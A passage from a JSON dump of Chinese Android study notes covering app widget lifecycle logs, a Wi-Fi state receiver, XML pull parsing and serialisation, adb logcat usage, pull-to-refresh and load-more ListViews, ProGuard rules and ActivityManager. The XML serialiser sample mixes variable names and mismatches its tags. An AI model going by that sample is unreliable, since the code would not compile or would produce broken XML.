ProcessStatusUtils.getProcessCount(getApplicationContext())\n\t\t\t\t\t\t\t\t\t+ \"个\");\n\t\t\t\t\tviews.setTextViewText(\n\t\t\t\t\t\t\tR.id.process_memory,\n\t\t\t\t\t\t\t\"可用内存:\"\n\t\t\t\t\t\t\t\t\t+ Formatter\n\t\t\t\t\t\t\t\t\t\t\t.formatFileSize(\n\t\t\t\t\t\t\t\t\t\t\t\t\tgetApplicationContext(), ProcessStatusUtils.getAvailRAM(getApplicationContext())));\n\t\t\t\t\tIntent intent = new Intent();\n\t\t\t\t\tintent.setAction(\"com.itheima.killall\");\n\t\t\t\t\t//设置一个自定义的广播事件 动作  com.itheima.killall\n\t\t\t\t\tPendingIntent pendingIntent = PendingIntent.getBroadcast(getApplicationContext(), 0, intent, 0);\n\t\t\t\t\tviews.setOnClickPendingIntent(R.id.btn_clear, pendingIntent);\n\t\t\t\t\tawm.updateAppWidget(component, views);\n\t\t\t\t}\n\t\t\t};\n\t\t\ttimer.schedule(task, 1000, 2000);\n\t\t}\n\t\t@Override\n\t\tpublic void onDestroy() {\n\t\t\ttimer.cancel();\n\t\t\ttask.cancel();\n\t\t\ttimer = null;\n\t\t\ttask = null;\n\t\t\tsuper.onDestroy();\n\t\t}\n\t}\n\t```\n\n## Widget的声明周期\n\n`Widget`就是一个特殊的广播接收者\n1. 当界面上第一个`widget`被创建的时候\n\t```\n\t01-14 02:17:14.348: INFO/System.out(1853): onEnabled   当`widget`第一次被创建的时候调用. 非常适合做应用程序的初始化.\n\t01-14 02:17:14.348: INFO/System.out(1853): onReceive\n\t01-14 02:17:14.357: INFO/System.out(1853): onUpdate     当有新的`widget`被创建的时候 更新界面的操作. 当时间片到的时候`onupdate()`调用.\n\t01-14 02:17:14.357: INFO/System.out(1853): onReceive\n\t```\n\n2. 当界面上第二个`widget`被创建的时候 \n\t```\n\t01-14 02:18:10.148: INFO/System.out(1853): onUpdate\n\t01-14 02:18:10.148: INFO/System.out(1853): onReceive\n\t```\n3. 再创建新的`widget`\n\t```\n\t01-14 02:18:10.148: INFO/System.out(1853): onUpdate\n\t01-14 02:18:10.148: INFO/System.out(1853): onReceive\n\t```\n4. 从界面上移除一个`widget`\n    ```\n\t01-14 02:19:11.709: INFO/System.out(1853): onDeleted\n\t01-14 02:19:11.709: INFO/System.out(1853): onReceive\n    ```\n5. 最后一个`widget`被移除\n    ```\n\t01-14 02:19:37.509: INFO/System.out(1853): onDeleted\n\t01-14 02:19:37.509: INFO/System.out(1853): onReceive\n\t01-14 02:19:37.509: INFO/System.out(1853): onDisabled  当`widget`从界面上全部移除的时候调用的方法. 非常适合删除临时文件停止后台服务.\n\t01-14 02:19:37.509: INFO/System.out(1853): onReceive\n    ```\n6. `widget`就是一个特殊的广播接受者 当有新的事件产生的是 肯定会调用 `onReceive()`;\n\t\n\n注意: 在不同的手机上  widget的生命周期调用方法 可能有细微的不同.\n360桌面 go桌面 awt桌面 腾讯桌面 小米桌面\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Wifi状态监听.md",
    "content": "Wifi状态监听\n===\n\n```java\n/**\n  * 监控Wifi状态的广播接收器\n  */\nprivate final class WifiStateReceiver extends BroadcastReceiver {\n    @Override\n    public void onReceive(Context c, Intent intent) {\n        Bundle bundle = intent.getExtras();\n        int statusInt = bundle.getInt(\"wifi_state\");\n        switch (statusInt) {\n        case WifiManager.WIFI_STATE_UNKNOWN:\n            break;\n        case WifiManager.WIFI_STATE_ENABLING:\n            break;\n        case WifiManager.WIFI_STATE_ENABLED:\n            LogUtil.e(tag, \"wifi enable\");\n            if(!isWifiEnable) {\n                isWifiEnable = true;\n                //断网后又连上了\n                isGoon = false;\n                if (!Util.isServiceRun(MultiPointControlActivity.this,\n                        DLNAServiceName)) {\n                    LogUtil.e(tag, \"start dlna service\");\n                }else {\n                    LogUtil.e(tag, \"runing .... stop dlna service\");\n                    stopDLNAService();\n                }\n                startDLNAService();\n                firstPlay();\n            }\n            break;\n        case WifiManager.WIFI_STATE_DISABLING:\n            break;\n        case WifiManager.WIFI_STATE_DISABLED:\n            isWifiEnable = false;\n            LogUtil.e(tag, \"wifi disable\");\n            break;\n        default:\n            break;\n        }\n    }\n}\n\nprivate void registReceiver() {\n    receiver = new WifiStateReceiver();\n    IntentFilter filter = new IntentFilter(WifiManager.WIFI_STATE_CHANGED_ACTION);\n    registerReceiver(receiver, filter);\n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/XmlPullParser.md",
    "content": "XmlPullParser\n===\n\n```java\npublic class PersonService {\n    /**\n     * 接收一个包含XML文件的输入流, 解析出XML中的Person对象, 装入一个List返回\n     * @param in    包含XML数据的输入流\n     * @return        包含Person对象的List集合\n     */\n    public List<Person> getPersons(InputStream in) throws Exception {\n        //1.获取xml文件\n        InputStream is = PersonService.class.getClassLoader().getResourceAsStream();\n        //2.获取解析器(Android中提供了方便的方法就是使用Android中的工具类Xml)\n        XmlPullParser parser = Xml.newPullParser();        \n        //3.解析器解析xml文件\n        parser.setInput(in, \"UTF-8\");                    \n\n        List<Person> persons = new ArrayList<Person>();\n        Person p = null;\n        //4.循环解析\n        for (int type = parser.getEventType(); type != XmlPullParser.END_DOCUMENT; type = parser.next()) {    // 循环解析\n            if (type == XmlPullParser.START_TAG) {                // 判断如果遇到开始标签事件\n                if (\"person\".equals(parser.getName())) {        // 标签名为person\n                    p = new Person();                            // 创建Person对象\n                    String id = parser.getAttributeValue(0);    // 获取属性\n                    p.setId(Integer.parseInt(id));                // 设置ID\n                    persons.add(p);                                // 把Person对象装入集合\n                } else if (\"name\".equals(parser.getName())) {    // 标签名为name\n                    String name = parser.nextText();            // 获取下一个文本\n                    p.setName(name);                            // 设置name\n                } else if (\"age\".equals(parser.getName())) {    // 标签名为age\n                    String age = parser.nextText();                // 获取下一个文本\n                    p.setAge(Integer.parseInt(age));            // 设置age\n                }\n            }\n        }\n        return persons;\n    }\n\n    /**\n    *将数据写入到Xml文件中.\n    *@param out    输出到要被写入数据的Xml文件的输出流//就相当于 OutputStream os = new FileOutputStream(\"a.xml\");\n    */\n    public void writePersons(List<Book> Books, OutputStream out) throws Exception {\n\n        //1.获得XmlSerializer(Xml序列化工具)(通过Android中的工具类Xml得到)\n        XmlSerializer serializer = Xml.newSerializer();    \n        //2.设置输出流(明确要将数据写入那个xml文件中)\n        serializer.setOutput(out, \"UTF-8\");                \n        //3.写入开始文档\n        serializer.startDocument(\"UTF-8\", true);\n        //4.开始标签\n        serializer.startTag(null, \"bookstore\");\n        //5.循环遍历\n        for (Book p : books) {\n            //6.开始标签\n            serializer.startTag(null, \"book\");\n            //7.给这个标签设置属性\n            serializer.attribute(null, \"id\", book.getId().toString());\n            //8.子标签\n            serializer.startTag(null, \"name\");\n            //9.设置子标签的内容\n            serializer.text(book.getName());\n            //10.子标签结束\n            serializer.endTag(null, \"name\");\n            //11.标签结束\n            serializer.endTag(null, \"person\");\n        }\n        //12.根标签结束\n        serializer.endTag(null, \"persons\");\n        //13.文档结束\n        serializer.endDocument();\n    }\n}\n```\n\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/adb logcat使用简介.md",
    "content": "adb logcat使用简介\n===\n\n得有半年没写日记了，今天不太忙，抽空写一个简单的入门，因为很长时间没用了，最近用起来发现已经忘了.....\n\n`android`开发过程中我们经常会用到`log`，虽然平时大多用`studio`，但是如果测试发现一个`crash`时跑过来找你时你会发现用`studio`已经有点迟了。这时候就要打开`adb logcat`.\n忘记怎么加参数了怎么办？ 默默的打开`adb logcat --help`你会发现只要你肯努力，你肯定能把所有的事情都搞垮。\n\n`adb logcat --help`\n\n\n`Usage: logcat [options] [filterspecs]`\n\n\n`options include:`\n---\n\n\n -  `-s`              `Set default filter to silent.         \n                    Like specifying filterspec '*:s'设置默认的过滤器,我们想要输出包含\"System.out\"关键字的标签或信息, 就可以使用adb logcat -s System.out 命令;`   \n                       \n - `-f <filename>`   `Log to file. Default to stdout  将日志输出到文件,注意这是手机里的文件，使用adb logcat -f /sdcard/log.txt`         \n - `-r [<kbytes>]`  `Rotate log every kbytes. (16 if unspecified). Requires -f 按照每千字节输出日志，需要与-f一起使用`          \n - `-n <count>`      `Sets max number of rotated logs to <count>, default 4 设置日志输出的最大数目`     \n- `-v <format>`     `Sets the log print format, where <format> is one of:         \nbrief process tag thread raw time threadtime long 设置日志的输出格式, 注意只能设置一项，这里格式比较多，我们最后讲`     \n\n- `-c`              `clear (flush) the entire log and exit     清空所有的日志缓存信息`\n- `-d`              `dump the log and then exit (don't block)   将缓存的日志输出到屏幕上, 并且不会阻塞;`\n- `-t <count>`      `print only the most recent <count> lines (implies -d)  输出最近的几行日志, 输出完退出, 不阻塞;`\n  `-g`              `get the size of the log's ring buffer and exit   查看日志缓冲区信息`\n  `-b <buffer>`     `Request alternate ring buffer, 'main', 'system', 'radio' \n                  or 'events'. Multiple -b parameters are allowed and the\n                  results are interleaved. The default is -b main -b system.加载一个日志缓冲区, 默认是 main`      \n  `-B`              `output the log in binary 以二进制形式输出日志`\n\n\n`filterspecs are a series of `\n---\n\n  `<tag>[:priority]`  过滤项格式为标签:日志等级, 默认的日志过滤项是 ` *:I `;\n```\nwhere <tag> is a log component tag (or * for all) and priority is:      \n\n  - V    Verbose\n  - D    Debug\n  - I    Info\n  - W    Warn\n  - E    Error\n  - F    Fatal\n  - S    Silent (supress all output)\n\n'*' means '*:d' and <tag> by itself means <tag>:v\n\nIf not specified on the commandline, filterspec is set from ANDROID_LOG_TAGS.\nIf no filterspec is found, filter defaults to '*:I'默认使用的是*:I级别的。\n\nIf not specified with -v, format is set from ANDROID_PRINTF_LOG\nor defaults to \"brief\"\n```\n例如`adb logcat *:E` 是指定只显示`error`级别的`log`， `adb logcat xxx:D *:S` 是指定只显示标签为`xxx`且`debug`级别以上的`Log`。为什么要加上`*:S`呢，`*:S`用于设置所有标记的日志优先级为`S`，这样可以确保仅输出符合条件的日志。\n\n上面基本的参数都介绍完了。下面说一些常用的功能。  \n\n采用grep正则表达式过滤\n---\n\n过滤固定字符串 : 只要命令行出现的日志都可以过滤, 不管是不是标签;\n\n`adb logcat | grep -E '^[VDE]/(TAG1|TAG2)'`\n\n`adb logcat | grep Wifi`\n`adb logcat | grep -i wifi 过滤字符串忽略大小写`\n`adb logcat | grep --color=auto -i myapp #设置匹配字符串颜色。更多设置请查看 grep 帮助。`\n\n在同时输出到屏幕和文件tee\n---  \n\n想要把日志保存到文件,如果采用IO重定向,就无法输出到屏幕, 针对这个问题可以采用tee命令\n\n`adb logcat | grep -E '^[VDE]/(TAG1|TAG2)' | tee my.log`\n\n`adb logcat -v time | tee a.log`\n\n\n\n持续输出日志到文件中    \n---\n\n`>`输出 : `>` 后面跟着要输出的日志文件, 可以将`logcat`日志输出到文件中\n\n`adb logcat > test.log` //将日志保存到文件test.log\n\n`-d -f <log>` 组合命令：可以将日志保存到手机上的指定位置，对不能一直用电脑连着手机收集日志的场景非常有用。\n`adb logcat -d -f /sdcard/mylog.txt`\n\n\n\n最后说一下上面的`-v`的格式问题:  \n`-v <format>`设置日志输入格式控制输出字段，默认的是`brief`格式:   \n\n- `brief` — 显示优先级/标记和原始进程的PID (默认格式)\n- `process` — 仅显示进程PID\n- `tag` — 仅显示优先级/标记\n- `thread` — 仅显示进程：线程和优先级/标记\n- `raw` — 显示原始的日志信息，没有其他的元数据字段\n- `time` — 显示日期，调用时间，优先级/标记，PID\n- `long` —显示所有的元数据字段并且用空行分隔消息内容\n- `adb logcat -v thread`   //使用 thread 输出格式\n***注意***`-v` 选项中只能指定一种格式。\n\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/下拉刷新ListView.md",
    "content": "下拉刷新ListView\n===\n\nPullToRefreshListView\n---\n\n**原理：**        \n拉刷新`ListView`无非就是对普通的`List View`添加一个`HeaderView`,然后通过对`ListView onTouchEvent`来获取当前下拉刷新的状态。然后去改变`HeaderView`的状态。    \n\n1. 自定义`ListView`，在构造方法中去添加`HeaderView`\n\t通过`ListView.addHeaderView()`去添加`HeaderView`的时候，`HeaderView`会显示在屏幕的最初位置，我们需要它默认的时候是在屏幕的上方，这样默认时是不可见的，\n\t但是我们下拉`ListView`的时候，它就能够显示出来。这就要通过设置`HeaderView`的`padding`来实现它的隐藏。注意：View的显示最初要经过`Measure`测量宽高，\n\t我们在构造方法去添加的时候，该View可能并没有被测量，所以在获取`HeaderView`高度的时候会为0，这时候我们要手动的去测量一下`HeaderView`。\n\t```java\n\t/**\n\t* 当前状态\n\t*/\n\tprivate State mState = State.ORIGNAL;\n\n\tpublic PullToRefreshListView(Context context, AttributeSet attrs,\n\t\t\tint defStyle) {\n\t\tsuper(context, attrs, defStyle);\n\t\tinitView(context);\n\t}\n\n\tpublic PullToRefreshListView(Context context, AttributeSet attrs) {\n\t\tsuper(context, attrs);\n\t\tinitView(context);\n\t}\n\n\tpublic PullToRefreshListView(Context context) {\n\t\tsuper(context);\n\t\tinitView(context);\n\t}\n\n\tprivate void initView(Context context) {\n\t\tLayoutInflater inflater = (LayoutInflater) context\n\t\t\t\t.getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n\n\t\tmHeader = inflater.inflate(R.layout.pull_to_refresh_header, null);\n\t\tiv_arrow = (ImageView) mHeader.findViewById(R.id.iv_arrow);\n\t\tpb_refresh = (ProgressBar) mHeader.findViewById(R.id.pb_refresh);\n\t\ttv_title = (TextView) mHeader.findViewById(R.id.tv_title);\n\t\ttv_time = (TextView) mHeader.findViewById(R.id.tv_time);\n\t\t\n\t\tmeasureHeaderView(mHeader);\n\t\t\n\t\tmHeaderHeight = mHeader.getMeasuredHeight();\n\t\t// To make header view above the window, so use -mHeaderHeight.\n\t\tmHeader.setPadding(0, -mHeaderHeight, 0, 0);\n\n\t\tmHeader.invalidate();\n\n\t\taddHeaderView(mHeader);\n\t}\n\t\t\n\t/**\n\t * 下拉刷新所有的状态\n\t */\n\tpublic enum State {\n\t\tORIGNAL, PULL_TO_REFRESH, REFRESHING, RELEASE_TO_REFRESH;\n\t}\n\t```\n\n2. 重写onTouchEvent，来监听手指的下拉\n\t```java\n\tpublic boolean onTouchEvent(MotionEvent ev) {\n\t\tint y = (int) ev.getRawY();\n\t\tint action = ev.getAction();\n\t\tswitch (action) {\n\t\tcase MotionEvent.ACTION_DOWN:\n\t\t\t//记录手指点下的位置\n\t\t\tdownPositionY = y;\n\t\t\tbreak;\n\t\tcase MotionEvent.ACTION_MOVE:\n\t\t\t//手指当前滑动的位置\n\t\t\tcurrentPositionY = y;\n\t\t\t//手指移动的距离，由于HeaderView高度固定，但是手指下拉的高度可以最大为屏幕的高度，如手指下拉屏幕高度时，HeaderView会很难看，\n\t\t\t// 所以我们让下拉的距离进行一个缩放。\n\t\t\tpullDistance = (currentPositionY - downPositionY) / RATIO;\n\n\t\t\tif (mState == State.REFRESHING) {\n\t\t\t\tbreak;\n\t\t\t} else if (mState == State.ORIGNAL && pullDistance > 0) {\n\t\t\t\t//如果现在处理起始的状态，并且距离大于0，就说明是下拉了，这时候状态需要变为下拉刷新的状态\n\t\t\t\tmState = State.PULL_TO_REFRESH;\n\t\t\t\tchangeState();\n\t\t\t} else if (mState == State.PULL_TO_REFRESH\n\t\t\t\t\t&& pullDistance > mHeaderHeight) {\n\t\t\t\t//当时为下拉刷新的状态，但是下拉的距离大于HeaderView的高度。这时状态要变为松手即可刷新\n\t\t\t\tmState = State.RELEASE_TO_REFRESH;\n\t\t\t\tchangeState();\n\t\t\t} else if (mState == State.RELEASE_TO_REFRESH) {\n\t\t\t//释放刷新时有三种情况，一是我继续下啦，这时候不用管，因为继续下拉还是释放刷新。二是我手指往上移动，此时HeaderView不完全可见，\n\t\t\t// 这时候状态要改变为下拉刷新了。三是我手指上移的很厉害，导致HeaderView完全不可见了，这是状态要改变为起始状态。\n\t\t\t\tif (pullDistance < 0) {\n\t\t\t\t\t// 如果当时状态为松手刷新，但是这时候我并没有松手，而是直接将手指往上移动，移动回手指最先的位置，这时候状态要变为起始状态。\n\t\t\t\t\tmState = State.ORIGNAL;\n\t\t\t\t\tchangeState();\n\t\t\t\t} else if (pullDistance < mHeaderHeight) {\n\t\t\t\t\t//手指上移，但是并没有移动到HeaderView完全不可见，这时候要将状态改变为下拉刷新\n\t\t\t\t\tmState = State.PULL_TO_REFRESH;\n\t\t\t\t\tisBack = true;\n\t\t\t\t\tchangeState();\n\t\t\t\t}\n\n\t\t\t}\n\t\t\t\n\t\t\t//在移动的过程中不断的去改版Padding的值，控制其显示的大小\n\t\t\tif (mState != State.REFRESHING) {\n\t\t\t\tmHeader.setPadding(0, (int) (pullDistance - mHeaderHeight), 0,\n\t\t\t\t\t\t0);\n\t\t\t}\n\n\t\t\tbreak;\n\t\tcase MotionEvent.ACTION_UP:\n\t\t\tif (mState == State.REFRESHING) {\n\t\t\t\t//如果当前已经是正在刷新中了，再去下拉就不要处理了\n\t\t\t\tbreak;\n\t\t\t} else if (mState == State.PULL_TO_REFRESH) {\n\t\t\t\t//显现下拉刷新时，松手了，这时候要将其改为起始状态\n\t\t\t\tmState = State.ORIGNAL;\n\t\t\t} else if (mState == State.RELEASE_TO_REFRESH) {\n\t\t\t\t//松手刷新时松手了，这时候状态要变为正在刷新中。\n\t\t\t\tmState = State.REFRESHING;\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tchangeState();\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\t\treturn super.onTouchEvent(ev);\n\t}\n\t```\n\n3. 上面的写法仍有些问题。就是我们在`onTouchEvent`中`Move`里面对移动的距离进行了判断，但是`ListView`本身就是一个可以上下滑动的组件，\n\t如果我们直接这样判断，那`ListView`本上上下滑动的功能就被我们给抹去了。\n\t```java\n\t@Override\n\tpublic boolean onTouchEvent(MotionEvent ev) {\n\t\tint y = (int) ev.getRawY();\n\t\tint action = ev.getAction();\n\t\tswitch (action) {\n\t\tcase MotionEvent.ACTION_DOWN:\n\t\t\tdownPositionY = y;\n\t\t\tbreak;\n\t\tcase MotionEvent.ACTION_MOVE:\n\t\t\t//一定要加上这句话，来判断当前是否可以下拉刷新\n\t\t\tif (!isCanPullToRefresh) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t.....\n\t\t\tbreak;\n\t```\n\t而对于`isCanPullToRefresh`的判断是通过`ListView.setOnScrollListener`去进行判断当前第一个可见条目是不是`ListView`的第一个条目，\n\t只有第一个条目在最顶端位置的时候才可以进行下拉刷新。\n\t```java\n\tsuper.setOnScrollListener(new OnScrollListener() {\n\n\t\t@Override\n\t\tpublic void onScrollStateChanged(AbsListView view, int scrollState) {\n\t\t}\n\n\t\t@Override\n\t\tpublic void onScroll(AbsListView view, int firstVisibleItem,\n\t\t\t\tint visibleItemCount, int totalItemCount) {\n\t\t\t\n\t\t\tif (firstVisibleItem == 0) {\n\t\t\t\tisCanPullToRefresh = true;\n\t\t\t} else {\n\t\t\t\tisCanPullToRefresh = false;\n\t\t\t}\n\t\t}\n\t});\n\t```\n4. 提供刷新接口\n\n\t```java\n\tpublic interface OnRefreshListener {\n\t\tabstract void onRefresh();\n\t}\n\t```\n\t\n5. ChangeState方法\n\n\t```java\n\t/**\n\t * Change the state of header view when ListView in different state.\n\t */\n\tprivate void changeState() {\n\t\t//在该方法中对mState进行判断，根据不同状态作出处理，并且去调用刷新方法\n\t}\n\n\t/**\n\t *数据刷新完成后需要调用此方法去恢复装填\n\t */\n\t@SuppressWarnings(\"deprecation\")\n\tpublic void onRefreshComplete() {\n\t\tmState = State.ORIGNAL;\n\t\tchangeState();\n\t\ttv_time.setText(getResources().getString(R.string.update_time)\n\t\t\t\t+ new Date().toLocaleString());\n\t}\n\t```\n\nLoadMoreListView\n---\n**原理：**    \n滑动到底部自动加载更多的`ListView`，无非就是通过对其滑动过程进行监听，一旦滑动到底部的时候我们就去加载新的数据。通过对`ListView`添加`FooterView`，\n然后在不同的状态控制它的显示与隐藏。     \n\n1.  自定义ListView的子类，在构造方法中去添加FooterView.  \n\t```java\n\tpublic class LoadMoreListView extends ListView {\n\n\tpublic LoadMoreListView(Context context, AttributeSet attrs, int defStyle) {\n\t\tsuper(context, attrs, defStyle);\n\t\tinit(context);\n\t}\n\n\tpublic LoadMoreListView(Context context, AttributeSet attrs) {\n\t\tsuper(context, attrs);\n\t\tinit(context);\n\t}\n\n\tpublic LoadMoreListView(Context context) {\n\t\tsuper(context);\n\t\tinit(context);\n\t}\n\n\tprivate void init(Context context) {\n\t\tmFooterView = View.inflate(context, R.layout.load_more_footer, null);\n\t\taddFooterView(mFooterView);\n\t\thideFooterView();\n\t}\n\t```\t\n\n2. 监听滑动状态，通过`setOnScrollListener`即可实现对状态的监听。\n\t```java\n\tprivate void init(Context context) {\n\t\tmFooterView = View.inflate(context, R.layout.load_more_footer, null);\n\t\taddFooterView(mFooterView);\n\t\thideFooterView();\n\t\t//为了防止在使用时调用setOnScrollListener会覆盖此时设置的Listener，我们在此使用super.setOnScrollListenr()\n\t\tsuper.setOnScrollListener(superOnScrollListener);\n\t}\n\t```\n\n3. 在`ScrollListener`中去判断当前滑动的状态。从而依据不同的状态去控制`FooterView`的显示与隐藏。\n\t```java\n\tprivate OnScrollListener superOnScrollListener = new OnScrollListener() {\n\t\t\n\t\t@Override\n\t\tpublic void onScrollStateChanged(AbsListView view, int scrollState) {\n\t\t\tmCurrentScrollState = scrollState;\n\t\t}\n\n\t\t@Override\n\t\tpublic void onScroll(AbsListView view, int firstVisibleItem,\n\t\t\t\tint visibleItemCount, int totalItemCount) {\n\t\t\tif (visibleItemCount == totalItemCount) {\n\t\t\t\t//此时说明当前ListView所有的条目比较少，不足一屏\n\t\t\t\thideFooterView();\n\t\t\t} else if (!mIsLoading\n\t\t\t\t\t&& (firstVisibleItem + visibleItemCount >= totalItemCount)\n\t\t\t\t\t&& mCurrentScrollState != SCROLL_STATE_IDLE) {\n\t\t\t\t//当第一个可见的条目位置加上当前也所有可见的条目数 等于 ListView当前总的条目数时，就说明已经滑动到了底部，这时候就要去显示FooterView。\n\t\t\t\tshowFooterView();\n\t\t\t\tmIsLoading = true;\n\t\t\t\tif (mOnLoadMoreListener != null) {\n\t\t\t\t\tmOnLoadMoreListener.onLoadMore();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n\t```\n\n4. 提供自动加载更多的接口。\n\t```java\n\tpublic interface OnLoadMoreListener {\n\t\t/**\n\t\t * Load more data.\n\t\t */\n\t\tvoid onLoadMore();\n\t}\n\t```\n\n在使用的时候，与ListView使用方法相同，只需调用`setOnLoadMoreListener`对其设置`OnLoadMoreListener`即可，然后在数据加载完成后调用`onLoadComplete`方法去恢复状态。\n\n\nPullAndLoadMoreListView\n---\n将下拉刷新和自动加载更多进行整合。就不多说了\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/代码混淆.md",
    "content": "代码混淆\n===\n\n混淆器(ProGuard)\n---\n\n混淆器通过删除从未用过的代码和使用晦涩名字重命名类、字段和方法，对代码进行压缩，优化和混淆。\n\n1. 修改project.properties\n\t```xml\n\t# This file is automatically generated by Android Tools.\n\t# Do not modify this file -- YOUR CHANGES WILL BE ERASED!\n\t#\n\t# This file must be checked in Version Control Systems.\n\t#\n\t# To customize properties used by the Ant build system edit\n\t# \"ant.properties\", and override values to adapt the script to your\n\t# project structure.\n\t#\n\t# To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home):\n\t#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt\n\n\t# Project target.\n\ttarget=android-19\n\t```\n    将proguard.config前面的注释去掉\n\n2. 修改proguard-project.txt\n\t```xml\n\t# To enable ProGuard in your project, edit project.properties\n\t# to define the proguard.config property as described in that file.\n\t#\n\t# Add project specific ProGuard rules here.\n\t# By default, the flags in this file are appended to flags specified\n\t# in ${sdk.dir}/tools/proguard/proguard-android.txt\n\t# You can edit the include path and order by changing the ProGuard\n\t# include property in project.properties.\n\t#\n\t# For more details, see\n\t#   http://developer.android.com/guide/developing/tools/proguard.html\n\n\t# Add any project specific keep options here:\n\n\t# If your project uses WebView with JS, uncomment the following\n\t# and specify the fully qualified class name to the JavaScript interface\n\t# class:\n\t#-keepclassmembers class fqcn.of.javascript.interface.for.webview {\n\t#   public *;\n\t#}\n\t```\n    如果在程序中使用了第三方的`jar`包，在混淆后导致出错，这时我们需要在proguard-project.txt中去进行相应的配置，\n\t来让其在混淆时不要混淆相应的jar包。对改配置文件中的相关配置解释如下：\n\t```java\n\t-keep public class * extends android.app.Activity　　【不进行混淆类名的类，保持其原类名和包名】\n\n\t-keep public abstract interface com.asqw.android.Listener{\n\tpublic protected <methods>;  【所有public protected的方法名不进行混淆】\n\t}\n\t-keep public class com.asqw.android{\n\tpublic void Start(java.lang.String); 【对该方法不进行混淆】\n\t}\n\t-keepclasseswithmembernames class * { 【对所有类的native方法名不进行混淆】\n\tnative <methods>;\n\t}\n\t-keepclasseswithmembers class * { 【对所有类的指定方法的方法名不进行混淆】\n\tpublic <init>(android.content.Context, android.util.AttributeSet);\n\t}\n\t-keepclassmembers class * extends android.app.Activity {【对所有类的指定方法的方法名不进行混淆】\n\tpublic void *(android.view.View);\n\t}\n\t-keepclassmembers enum * {【对枚举类型enum的所有类的以下指定方法的方法名不进行混淆】\n\tpublic static **[] values();\n\tpublic static ** valueOf(java.lang.String);\n\t}\n\t-keep class * implements android.os.Parcelable {【对实现了Parcelable接口的所有类的类名不进行混淆，对其成员变量为Parcelable$Creator类型的成员变量的变量名不进行混淆】\n\tpublic static final android.os.Parcelable$Creator *;\n\t}\n\t-keepclasseswithmembers class org.jboss.netty.util.internal.LinkedTransferQueue {【对指定类的指定变量的变量名不进行混淆】\n\t\tvolatile transient org.jboss.netty.util.internal.LinkedTransferQueue$Node head;\n\t\tvolatile transient org.jboss.netty.util.internal.LinkedTransferQueue$Node tail;\n\t\tvolatile transient int sweepVotes;\n\n\t}\n\t-keep public class com.unionpay.** {*; }【对com.unionpay包下所有的类都不进行混淆，即不混淆类名，也不混淆方法名和变量名】\n\t```        \n\n\t经过上面这两部之后反编译后就能混淆了，但是四大组件还在，为什么四大组件还在呢，因为四大组件是在清单文件中进行配置的，\n\t如果混淆后就不能根据清单文件的配置去寻找了。     \n\t如果对于一些自己的代码中要想提供出来让别人通过反射调用的方法时,我们不想让部分代码被混淆，或者是我们使用别人提供的第三方jar包，\n\t因为第三方的jar包一般都是已经混淆过的，我们要是再混淆就会报错了，所以我们要保证这些内容不用混淆，这里我们只需修改这个文件，然后加上后面的一句话，\n\t他就不会混淆我们给出的内容    \n\t```xml\n\t-keepattributes *Annotation*          \n\t-keep public class * extends android.app.Activity\n\t-keep public class * extends android.app.Application\n\t-keep public class * extends android.app.Service\n\t-keep public class * extends android.content.BroadcastReceiver\n\t-keep public class * extends android.content.ContentProvider\n\t-keep public class * extends android.app.backup.BackupAgent\n\t-keep public class * extends android.preference.Preference\n\t-keep public class * extends android.support.v4.app.Fragment\n\t-keep public class * extends android.app.Fragment\n\t-keep public class com.android.vending.licensing.ILicensingService\n\t-keep class net.youmi.android.** {\n\t*;\n\t}\n\t```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/任务管理器(ActivityManager).md",
    "content": "任务管理器(ActivityManager)\n===\n\n`Android`中**ActivityManager**类似于`Windows`下的任务管理器，能得到正在运行程序的内容等信息    \n\n1. List<ActivityManager.RunningServiceInfo>  getRunningServices(int maxNum)     \n    Return a list of the services that are currently running.\n\t这个maxNum是指返回的这个集合的最大值    \n\t可以利用`ActivityManager`去判断当前某个服务是否正在运行。\n\n2. List<ActivityManager.RunningAppProcessInfo>  getRunningAppProcesses()     \n    Returns a list of application processes that are running on the device.\n\n3. List<ActivityManager.RecentTaskInfo>  getRecentTasks(int maxNum, int flags)     \n    得到最近使用的程序，集合中第一个元素是刚才正在使用的\n\n4. Debug.MemoryInfo[]  getProcessMemoryInfo(int[] pids)      \n\tReturn information about the memory usage of one or more processes.\n\t可以通过某个进程的id得到进程的内存使用信息，然后通过这个内存信息能够得到每个程序使用的内存大小\n\n\tMemoryInfo中的方法     \n    int getTotalPrivateDirty()            \n\tReturn total private dirty memory usage in kB得到占用内存的大小，单位是kb    \n\n\t```java\n    /**\n     * 返回所有的进程列表信息\n     * @param context\n     * @return\n     */\n    public static List<TaskInfo> getTaskInfos(Context context){\n        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n        List<RunningAppProcessInfo> appProcessInfos = am.getRunningAppProcesses();\n        List<TaskInfo> taskInfos = new ArrayList<TaskInfo>();\n        PackageManager pm = context.getPackageManager();\n        for(RunningAppProcessInfo appProcessInfo : appProcessInfos){\n            String packname = appProcessInfo.processName;\n            TaskInfo taskInfo = new TaskInfo();\n            taskInfo.setPackname(packname);\n            \n            MemoryInfo[] memoryInfos = am.getProcessMemoryInfo(new int[]{appProcessInfo.pid});\n            long memsize = memoryInfos[0].getTotalPrivateDirty() * 1024;\n            taskInfo.setMemsize(memsize);\n            try {\n                PackageInfo packInfo = pm.getPackageInfo(packname, 0);\n                Drawable icon = packInfo.applicationInfo.loadIcon(pm);\n                